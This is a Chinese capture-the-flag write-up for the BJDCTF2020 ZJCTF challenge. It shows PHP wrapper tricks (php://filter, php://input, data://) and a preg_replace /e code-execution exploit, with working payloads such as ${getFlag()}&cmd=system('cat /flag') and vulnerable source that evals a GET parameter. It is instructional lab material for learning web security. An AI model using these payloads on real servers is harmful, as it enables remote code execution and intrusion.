[BJDCTF2020]ZJCTF,不过如此

image-20240509210053534

include后面有个next的注释,猜测使用data伪协议读取

php://filter/read=convert.base64-encode/resource=next.php

接下来就是绕过text了

需要控制参数text利用伪协议写入文件

1、使用php://input
?text=php://input
post:I have a dream
2、使用data://
?text=data:text/plain,I have a dream
?text=data:text/plain;base64,SSBoYXZlIGEgZHJlYW0=

随便采取某种方法吧

最后都会得到

一串字符串

base64解码之后会变成

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}


foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}

function getFlag(){
@eval($_GET['cmd']);
}

看到complex那,那里有一个漏洞,文章最后会进行讲解

主要动作就是

preg_replace(‘.*’)/ei’,’strtolower(“\1”)’, {${此处填函数名}});

这个函数可以是

?\S*=${phpinfo()}
即查看phpinfo

也就是可以直接把{}内的东西当代码执行

在这里我们尝试一下这个

system('cat /flag');

发现不行

image-20240509213631533

被过滤了

尝试一下使用post传入数据

image-20240509213750785

拿到flag

还有一种方法

就是通过

\S*=${getFlag()}

调用getFlag函数

之后可以传cmd上去执行

payload:

?\S*=${getFlag()}&cmd=system('cat /flag');

rce漏洞

上面的命令执行,相当于 eval(‘strtolower(“\1”);’) 结果,当中的 \1 实际上就是 \1 ,而 \1 在正则表达式中有自己的含义。我们来看看 W3Cschool 中对其的描述:

反向引用

对一个正则表达式模式或部分模式 两边添加圆括号 将导致相关 匹配存储到一个临时缓冲区 中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 ‘\n’ 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数。

所以这里的 \1 实际上指定的是第一个子匹配项,我们拿 ripstech 官方给的 payload 进行分析,方便大家理解。官方 payload 为: /?.*={${phpinfo()}} ,即 GET 方式传入的参数名为 /?.* ,值为 {${phpinfo()}}

有时候.会被过滤

可以考虑换为

\S*=${phpinfo()}